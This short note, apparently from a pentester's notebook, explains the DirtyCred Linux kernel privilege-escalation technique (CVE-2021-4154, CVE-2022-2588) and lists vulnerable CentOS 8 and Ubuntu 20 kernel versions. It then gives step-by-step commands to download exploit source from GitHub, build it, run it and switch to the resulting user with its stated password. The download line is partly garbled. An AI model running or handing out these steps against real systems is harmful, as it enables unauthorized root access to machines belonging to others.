DirtyCred is a kernel exploitation concept that swaps unprivileged kernel credentials with privileged ones to escalate privilege. Instead of overwriting any critical data fields on kernel heap, DirtyCred abuses the heap memory reuse mechanism to get privileged. Although the concept is simple, it is effective.
This exploit works on most Centos 8 kernels higher than linux-4.18.0-305.el8 and most buntu 20 kernels higher than 5.4.0-87.98 and 5.11.0-37.41.
wget <https://raw.githubusercontent.com/Markakd/CVE-2021-4154/master/exp.c> -o [CVE-2021-4154](<https://github.com/Markakd/CVE-2021-4154>).c
make
./dirtycred
GitHub - Markakd/CVE-2022-2588: exploit for CVE-2022-2588
./exp_file
su user //the password is user